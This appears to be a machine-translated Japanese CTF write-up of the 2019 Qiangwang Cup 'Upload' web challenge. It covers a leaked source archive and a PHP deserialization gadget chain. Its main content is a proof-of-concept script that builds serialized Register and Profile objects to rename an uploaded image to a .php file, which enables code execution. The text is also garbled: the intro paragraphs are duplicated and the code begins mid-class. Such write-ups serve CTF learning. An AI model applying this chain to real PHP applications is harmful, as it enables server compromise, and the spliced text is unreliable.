ブラシ記録:[強ネットカップ2019]Upload
1731 ワード
目次刷題記録:[強網杯2019]Upload 一、知識点 1、ソースコード漏洩 2、php逆シーケンス化
ブラシ記録:[強ネットカップ2019]Upload
タイトル再現リンク:https://buuoj.cn/challenges 参考リンク:2019第3回強ネットカップWeb部分WriteUp+再現環境
一、知識点
1、ソースコードの漏洩
www.tar.gz
2、php逆シーケンス化
ファイルが大きいように見えますが、phpstormで開くとデフォルトで開いているファイルに2つのブレークポイントがありますが、実はhintにあげられているので、逆シーケンス化利用の場所を指摘しています.その後の従来の逆シーケンス化利用は,難しくない.
唯一注意しなければならないのはシーケンス化がネーミングスペースをシーケンス化するのでpocはこの場所で
ブラシ記録:[強ネットカップ2019]Upload
タイトル再現リンク:https://buuoj.cn/challenges 参考リンク:2019第3回強ネットカップWeb部分WriteUp+再現環境
一、知識点
1、ソースコードの漏洩
www.tar.gz
2、php逆シーケンス化
ファイルが大きいように見えますが、phpstormで開くとデフォルトで開いているファイルに2つのブレークポイントがありますが、実はhintにあげられているので、逆シーケンス化利用の場所を指摘しています.その後の従来の逆シーケンス化利用は,難しくない.
唯一注意しなければならないのはシーケンス化がネーミングスペースをシーケンス化するのでpocはこの場所で
namespace app\web\controller;
を追加しなければなりませんexcept[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __construct()
{
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";
$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));